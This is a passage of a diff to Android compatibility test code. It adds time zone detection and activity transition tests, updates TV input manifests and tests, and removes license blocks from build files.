@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.time.TimeManager;
+import android.app.time.TimeZoneCapabilities;
+import android.app.time.TimeZoneCapabilitiesAndConfig;
+import android.app.time.TimeZoneConfiguration;
+import android.content.Context;
+import android.location.LocationManager;
+import android.os.UserHandle;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/** Tests for {@link TimeManager} and associated classes. */
+public class TimeManagerTest {
+
+    /**
+     * This rule adopts the Shell process permissions, needed because MANAGE_TIME_AND_ZONE_DETECTION
+     * is a privileged permission.
+     */
+    @Rule
+    public final AdoptShellPermissionsRule shellPermRule = new AdoptShellPermissionsRule();
+
+    /**
+     * Registers a {@link android.app.time.TimeManager.TimeZoneDetectorListener}, makes changes
+     * to the configuration and checks that the listener is called.
+     */
+    @Test
+    public void testManageConfiguration() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        int expectedListenerTriggerCount = 0;
+        AtomicInteger listenerTriggerCount = new AtomicInteger(0);
+        TimeManager.TimeZoneDetectorListener listener = listenerTriggerCount::incrementAndGet;
+
+        TimeManager timeManager = context.getSystemService(TimeManager.class);
+        assertNotNull(timeManager);
+
+        ExecutorService executor = Executors.newSingleThreadExecutor();
+        try {
+            timeManager.addTimeZoneDetectorListener(executor, listener);
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            TimeZoneCapabilitiesAndConfig capabilitiesAndConfig =
+                    timeManager.getTimeZoneCapabilitiesAndConfig();
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            TimeZoneCapabilities capabilities = capabilitiesAndConfig.getCapabilities();
+            TimeZoneConfiguration originalConfig = capabilitiesAndConfig.getConfiguration();
+
+            // Toggle the auto-detection enabled if capabilities allow or try (but expect to fail)
+            // if not.
+            {
+                boolean newAutoDetectionEnabledValue = !originalConfig.isAutoDetectionEnabled();
+                TimeZoneConfiguration configUpdate = new TimeZoneConfiguration.Builder()
+                        .setAutoDetectionEnabled(newAutoDetectionEnabledValue)
+                        .build();
+                if (capabilities.getConfigureAutoDetectionEnabledCapability()
+                        >= TimeZoneCapabilities.CAPABILITY_NOT_APPLICABLE) {
+                    assertTrue(timeManager.updateTimeZoneConfiguration(configUpdate));
+                    expectedListenerTriggerCount++;
+                    waitForListenerCallbackCount(
+                            expectedListenerTriggerCount, listenerTriggerCount);
+
+                    // Reset the config to what it was when the test started.
+                    TimeZoneConfiguration resetConfigUpdate = new TimeZoneConfiguration.Builder()
+                            .setAutoDetectionEnabled(!newAutoDetectionEnabledValue)
+                            .build();
+                    assertTrue(timeManager.updateTimeZoneConfiguration(resetConfigUpdate));
+                    expectedListenerTriggerCount++;
+                } else {
+                    assertFalse(timeManager.updateTimeZoneConfiguration(configUpdate));
+                }
+            }
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            // Toggle the geo-detection enabled if capabilities allow or try (but expect to fail)
+            // if not.
+            {
+                boolean newGeoDetectionEnabledValue = !originalConfig.isGeoDetectionEnabled();
+                TimeZoneConfiguration configUpdate = new TimeZoneConfiguration.Builder()
+                        .setGeoDetectionEnabled(newGeoDetectionEnabledValue)
+                        .build();
+                if (capabilities.getConfigureGeoDetectionEnabledCapability()
+                        >= TimeZoneCapabilities.CAPABILITY_NOT_APPLICABLE) {
+                    assertTrue(timeManager.updateTimeZoneConfiguration(configUpdate));
+                    expectedListenerTriggerCount++;
+                    waitForListenerCallbackCount(
+                            expectedListenerTriggerCount, listenerTriggerCount);
+
+                    // Reset the config to what it was when the test started.
+                    TimeZoneConfiguration resetConfigUpdate = new TimeZoneConfiguration.Builder()
+                            .setGeoDetectionEnabled(!newGeoDetectionEnabledValue)
+                            .build();
+                    assertTrue(timeManager.updateTimeZoneConfiguration(resetConfigUpdate));
+                    expectedListenerTriggerCount++;
+                } else {
+                    assertFalse(timeManager.updateTimeZoneConfiguration(configUpdate));
+                }
+            }
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+        } finally {
+            // Remove the listener. Required otherwise the fuzzy equality rules of lambdas causes
+            // problems for later tests.
+            timeManager.removeTimeZoneDetectorListener(listener);
+
+            executor.shutdown();
+        }
+    }
+
+    /**
+     * Registers a {@link android.app.time.TimeManager.TimeZoneDetectorListener}, makes changes
+     * to the "location enabled" setting and checks that the listener is called.
+     */
+    @Ignore("http://b/171953500")
+    @Test
+    public void testLocationManagerAffectsCapabilities() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        AtomicInteger listenerTriggerCount = new AtomicInteger(0);
+        TimeManager.TimeZoneDetectorListener listener = listenerTriggerCount::incrementAndGet;
+
+        TimeManager timeManager = context.getSystemService(TimeManager.class);
+        assertNotNull(timeManager);
+
+        LocationManager locationManager = context.getSystemService(LocationManager.class);
+        assertNotNull(locationManager);
+
+        ExecutorService executor = Executors.newSingleThreadExecutor();
+        try {
+            timeManager.addTimeZoneDetectorListener(executor, listener);
+            waitForListenerCallbackCount(0, listenerTriggerCount);
+
+            UserHandle userHandle = android.os.Process.myUserHandle();
+            boolean locationEnabled = locationManager.isLocationEnabledForUser(userHandle);
+
+            locationManager.setLocationEnabledForUser(!locationEnabled, userHandle);
+            waitForListenerCallbackCount(1, listenerTriggerCount);
+
+            locationManager.setLocationEnabledForUser(locationEnabled, userHandle);
+            waitForListenerCallbackCount(2, listenerTriggerCount);
+        } finally {
+            // Remove the listener. Required otherwise the fuzzy equality rules of lambdas causes
+            // problems for later tests.
+            timeManager.removeTimeZoneDetectorListener(listener);
+
+            executor.shutdown();
+        }
+    }
+
+    private static void waitForListenerCallbackCount(
+            int expectedValue, AtomicInteger actualValue) throws Exception {
+        // Busy waits up to 30 seconds for the count to reach the expected value.
+        final long busyWaitMillis = 30000;
+        long targetTimeMillis = System.currentTimeMillis() + busyWaitMillis;
+        while (expectedValue != actualValue.get()
+                && System.currentTimeMillis() < targetTimeMillis) {
+            Thread.sleep(250);
+        }
+        assertEquals(expectedValue, actualValue.get());
+    }
+}
diff --git a/tests/tests/toast/Android.bp b/tests/tests/toast/Android.bp
index 24c62dc0..aa85ab9 100644
--- a/tests/tests/toast/Android.bp
+++ b/tests/tests/toast/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsToastTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/toastlegacy/Android.bp b/tests/tests/toastlegacy/Android.bp
index cc80890..a558405 100644
--- a/tests/tests/toastlegacy/Android.bp
+++ b/tests/tests/toastlegacy/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsToastLegacyTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/tools/processors/view_inspector/Android.bp b/tests/tests/tools/processors/view_inspector/Android.bp
index 1d6d509..7b39403 100644
--- a/tests/tests/tools/processors/view_inspector/Android.bp
+++ b/tests/tests/tools/processors/view_inspector/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsViewInspectorAnnotationProcessorTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/transition/Android.bp b/tests/tests/transition/Android.bp
index 34dcd0c..35cd22a 100644
--- a/tests/tests/transition/Android.bp
+++ b/tests/tests/transition/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTransitionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 2301438..c20165f 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -343,6 +343,68 @@
         PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
     }
 
+    @Test
+    public void testTwiceForwardTwiceBack() throws Throwable {
+        enterScene(R.layout.scene1);
+        assertFalse(mActivity.isActivityTransitionRunning());
+
+        // A -> B
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(mActivity);
+            mActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(mActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        assertTrue(targetActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> C
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(targetActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(targetActivity);
+            targetActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(targetActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity2 = waitForTargetActivity2();
+        assertTrue(targetActivity2.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity2.isActivityTransitionRunning());
+
+        // C -> B
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity2.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity2.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> targetActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> A
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> mActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
+    }
+
     // Views that are excluded from the exit/enter transition shouldn't change visibility
     @Test
     public void untargetedViews() throws Throwable {
@@ -498,6 +560,23 @@
         return activity[0];
     }
 
+    private TargetActivity waitForTargetActivity2() throws Throwable {
+        verify(TargetActivity.sCreated, within(3000)).add(any());
+        TargetActivity[] activity = new TargetActivity[1];
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(2, TargetActivity.sCreated.size());
+            activity[0] = TargetActivity.sCreated.get(1);
+        });
+        assertTrue("There was no draw call", activity[0].drawnOnce.await(3, TimeUnit.SECONDS));
+        mActivityRule.runOnUiThread(() -> {
+            activity[0].getWindow().getDecorView().invalidate();
+        });
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(activity[0].preDrawCalls > 1);
+        });
+        return activity[0];
+    }
+
     private Set<Integer> getTargetViewIds(TargetTracking transition) {
         return transition.getTrackedTargets().stream()
                 .map(v -> v.getId())
diff --git a/tests/tests/tv/Android.bp b/tests/tests/tv/Android.bp
index aeaa943..213061d 100644
--- a/tests/tests/tv/Android.bp
+++ b/tests/tests/tv/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTvTestCases",
     defaults: ["cts_defaults"],
@@ -31,6 +27,7 @@
     ],
     static_libs: [
         "androidx.test.core",
+        "androidx.test.rules",
         "androidx.test.ext.truth",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index a3429bb..b7c10c4 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,114 +16,126 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.tv.cts">
+     package="android.tv.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
 
-    <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
+    <uses-permission android:name="com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"/>
+    <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA"/>
 
     <queries>
-        <package android:name="com.android.providers.tv" />
+        <package android:name="com.android.providers.tv"/>
     </queries>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.media.tv.cts.TvInputSetupActivityStub">
+        <activity android:name="android.media.tv.cts.TvInputSetupActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.media.tv.cts.TvInputSettingsActivityStub">
+        <activity android:name="android.media.tv.cts.TvInputSettingsActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.media.tv.cts.StubTunerTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT"
-                 android:label="TV input stub"
-                 android:icon="@drawable/robot"
-                 android:process=":tunerTvInputStub">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:label="TV input stub"
+             android:icon="@drawable/robot"
+             android:process=":tunerTvInputStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.NoMetadataTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
         </service>
 
-        <service android:name="android.media.tv.cts.NoPermissionTvInputService">
+        <service android:name="android.media.tv.cts.NoPermissionTvInputService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.TvInputManagerTest$StubTvInputService2"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.TvInputServiceTest$CountingTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.HardwareSessionTest$HardwareProxyTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
         <service android:name="android.media.tv.cts.FaultyTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT"
-                 android:process=":faultyTvInputService">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:process=":faultyTvInputService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.tv.TvInputService" />
+                <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
 
-        <activity android:name="android.media.tv.cts.TvViewStubActivity">
+        <activity android:name="android.media.tv.cts.TvViewStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.tv.settings.cts.SettingsLeanbackStubActivity">
+        <activity android:name="android.tv.settings.cts.SettingsLeanbackStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="android.tv.cts"
-            android:label="Tests for the TV APIs.">
+         android:targetPackage="android.tv.cts"
+         android:label="Tests for the TV APIs.">
         <meta-data android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/tests/tests/tv/TEST_MAPPING b/tests/tests/tv/TEST_MAPPING
new file mode 100644
index 0000000..935e652
--- /dev/null
+++ b/tests/tests/tv/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTvTestCases",
+      "options": [
+        {
+          "include-annotation": "android.platform.test.annotations.Presubmit"
+        },
+        {
+          "exclude-annotation": "android.support.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsTvTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/tv/res/xml/stub_tv_input_service.xml b/tests/tests/tv/res/xml/stub_tv_input_service.xml
index 8ad10cc..b0cc2c4 100644
--- a/tests/tests/tv/res/xml/stub_tv_input_service.xml
+++ b/tests/tests/tv/res/xml/stub_tv_input_service.xml
@@ -16,4 +16,5 @@
 
 <tv-input xmlns:android="http://schemas.android.com/apk/res/android"
     android:setupActivity="android.media.tv.cts.TvInputSetupActivityStub"
-    android:settingsActivity="android.media.tv.cts.TvInputSettingsActivityStub" />
+    android:settingsActivity="android.media.tv.cts.TvInputSettingsActivityStub"
+    android:canPauseRecording="true" />
diff --git a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
index f116d0a..7aa6844 100644
--- a/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/BundledTvInputServiceTest.java
@@ -23,6 +23,7 @@
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
 import android.media.tv.TvView;
+import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.ArrayMap;
 
@@ -37,6 +38,7 @@
 /**
  * Test {@link android.media.tv.TvView}.
  */
+@Presubmit
 public class BundledTvInputServiceTest
         extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
     /** The maximum time to wait for an operation. */
diff --git a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
index 2acf5ce..59a0561 100644
--- a/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/HardwareSessionTest.java
@@ -26,6 +26,7 @@
 import android.media.tv.TvView;
 import android.media.tv.cts.HardwareSessionTest.HardwareProxyTvInputService.CountingSession;
 import android.net.Uri;
+import android.platform.test.annotations.Presubmit;
 import android.test.ActivityInstrumentationTestCase2;
 
 import android.tv.cts.R;
@@ -38,6 +39,7 @@
 /**
  * Test {@link android.media.tv.TvInputService.HardwareSession}.
  */
+@Presubmit
 public class HardwareSessionTest extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
     /** The maximum time to wait for an operation. */
     private static final long TIME_OUT = 15000L;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
index 9acff92..4c0bcc7 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContentRatingTest.java
@@ -17,6 +17,7 @@
 package android.media.tv.cts;
 
 import android.media.tv.TvContentRating;
+import android.platform.test.annotations.Presubmit;
 
 import java.util.List;
 
@@ -25,6 +26,7 @@
 /**
  * Test for {@link android.media.tv.TvContentRating}.
  */
+@Presubmit
 public class TvContentRatingTest extends TestCase {
 
     private static final String DOMAIN = "android.media.tv";
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
index 8147ea9..8dd6f89 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
@@ -25,12 +25,14 @@
 import android.media.tv.TvInputManager;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 
 /**
  * Test for {@link android.media.tv.TvInputInfo}.
  */
+@Presubmit
 public class TvInputInfoTest extends AndroidTestCase {
     private TvInputInfo mStubInfo;
     private PackageManager mPackageManager;
@@ -47,6 +49,7 @@
                 && info1.getType() == info2.getType()
                 && info1.getTunerCount() == info2.getTunerCount()
                 && info1.canRecord() == info2.canRecord()
+                && info1.canPauseRecording() == info2.canPauseRecording()
                 && info1.isPassthroughInput() == info2.isPassthroughInput()
                 && TextUtils.equals(info1.loadLabel(context), info2.loadLabel(context));
     }
@@ -185,9 +188,11 @@
                 new ComponentName(getContext(), StubTunerTvInputService.class)).build();
         assertEquals(1, defaultInfo.getTunerCount());
         assertFalse(defaultInfo.canRecord());
+        assertTrue(defaultInfo.canPauseRecording());
         assertEquals(mStubInfo.getId(), defaultInfo.getId());
         assertEquals(mStubInfo.getTunerCount(), defaultInfo.getTunerCount());
         assertEquals(mStubInfo.canRecord(), defaultInfo.canRecord());
+        assertEquals(mStubInfo.canPauseRecording(), defaultInfo.canPauseRecording());
 
         Bundle extras = new Bundle();
         final String TEST_KEY = "android.media.tv.cts.TEST_KEY";
@@ -195,10 +200,11 @@
         extras.putString(TEST_KEY, TEST_VALUE);
         TvInputInfo updatedInfo = new TvInputInfo.Builder(getContext(),
                 new ComponentName(getContext(), StubTunerTvInputService.class)).setTunerCount(10)
-                .setCanRecord(true).setExtras(extras).build();
+                .setCanRecord(true).setCanPauseRecording(false).setExtras(extras).build();
         assertEquals(mStubInfo.getId(), updatedInfo.getId());
         assertEquals(10, updatedInfo.getTunerCount());
         assertTrue(updatedInfo.canRecord());
+        assertFalse(updatedInfo.canPauseRecording());
         assertEquals(TEST_VALUE, updatedInfo.getExtras().getString(TEST_KEY));
     }
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 6649ca6..042cbe1 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -16,11 +16,17 @@
 
 package android.media.tv.cts;
 
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
 import android.media.AudioManager;
+import android.media.tv.cts.TvViewTest.MockCallback;
+import android.media.tv.TunedInfo;
 import android.media.tv.TvContentRating;
+import android.media.tv.TvContract;
 import android.media.tv.TvInputHardwareInfo;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
@@ -28,8 +34,12 @@
 import android.media.tv.TvInputManager.HardwareCallback;
 import android.media.tv.TvInputService;
 import android.media.tv.TvStreamConfig;
+import android.media.tv.TvView;
+import android.net.Uri;
+import android.os.Bundle;
 import android.os.Handler;
 import android.test.ActivityInstrumentationTestCase2;
+import android.tv.cts.R;
 
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -62,6 +72,11 @@
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
     private TvInputInfo mStubTvInputInfo;
+    private TvView mTvView;
+    private Activity mActivity;
+    private Instrumentation mInstrumentation;
+    private TvInputInfo mStubTunerTvInputInfo;
+    private final MockCallback mMockCallback = new MockCallback();
 
     private static TvInputInfo getInfoForClassName(List<TvInputInfo> list, String name) {
         for (TvInputInfo info : list) {
@@ -78,14 +93,118 @@
 
     @Override
     public void setUp() throws Exception {
-        if (!Utils.hasTvInputFramework(getActivity())) {
+        super.setUp();
+        mActivity = getActivity();
+        if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
-        mManager = (TvInputManager) getActivity().getSystemService(Context.TV_INPUT_SERVICE);
+        mInstrumentation = getInstrumentation();
+        mTvView = findTvViewById(R.id.tvview);
+        mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
         mStubId = getInfoForClassName(
                 mManager.getTvInputList(), StubTvInputService2.class.getName()).getId();
         mStubTvInputInfo = getInfoForClassName(
                 mManager.getTvInputList(), StubTvInputService2.class.getName());
+        for (TvInputInfo info : mManager.getTvInputList()) {
+            if (info.getServiceInfo().name.equals(StubTunerTvInputService.class.getName())) {
+                mStubTunerTvInputInfo = info;
+                break;
+            }
+        }
+        assertNotNull(mStubTunerTvInputInfo);
+        mTvView.setCallback(mMockCallback);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            super.tearDown();
+            return;
+        }
+        StubTunerTvInputService.deleteChannels(
+                mActivity.getContentResolver(), mStubTunerTvInputInfo);
+        StubTunerTvInputService.clearTracks();
+        try {
+            runTestOnUiThread(new Runnable() {
+                @Override
+                public void run() {
+                    mTvView.reset();
+                }
+            });
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+        mInstrumentation.waitForIdleSync();
+        super.tearDown();
+    }
+
+    private TvView findTvViewById(int id) {
+        return (TvView) mActivity.findViewById(id);
+    }
+
+    private void tryTuneAllChannels() throws Throwable {
+        StubTunerTvInputService.insertChannels(
+                mActivity.getContentResolver(), mStubTunerTvInputInfo);
+
+        Uri uri = TvContract.buildChannelsUriForInput(mStubTunerTvInputInfo.getId());
+        String[] projection = { TvContract.Channels._ID };
+        try (Cursor cursor = mActivity.getContentResolver().query(
+                uri, projection, null, null, null)) {
+            while (cursor != null && cursor.moveToNext()) {
+                long channelId = cursor.getLong(0);
+                Uri channelUri = TvContract.buildChannelUri(channelId);
+                mCallback.mTunedInfos = null;
+                mTvView.tune(mStubTunerTvInputInfo.getId(), channelUri);
+                mInstrumentation.waitForIdleSync();
+                new PollingCheck(TIME_OUT_MS) {
+                    @Override
+                    protected boolean check() {
+                        return mMockCallback.isVideoAvailable(mStubTunerTvInputInfo.getId());
+                    }
+                }.run();
+                new PollingCheck(TIME_OUT_MS) {
+                    @Override
+                    protected boolean check() {
+                        return mCallback.mTunedInfos != null;
+                    }
+                }.run();
+
+                List<TunedInfo> returnedInfos = mManager.getCurrentTunedInfos();
+                assertEquals(1, returnedInfos.size());
+                TunedInfo returnedInfo = returnedInfos.get(0);
+                TunedInfo expectedInfo = new TunedInfo(
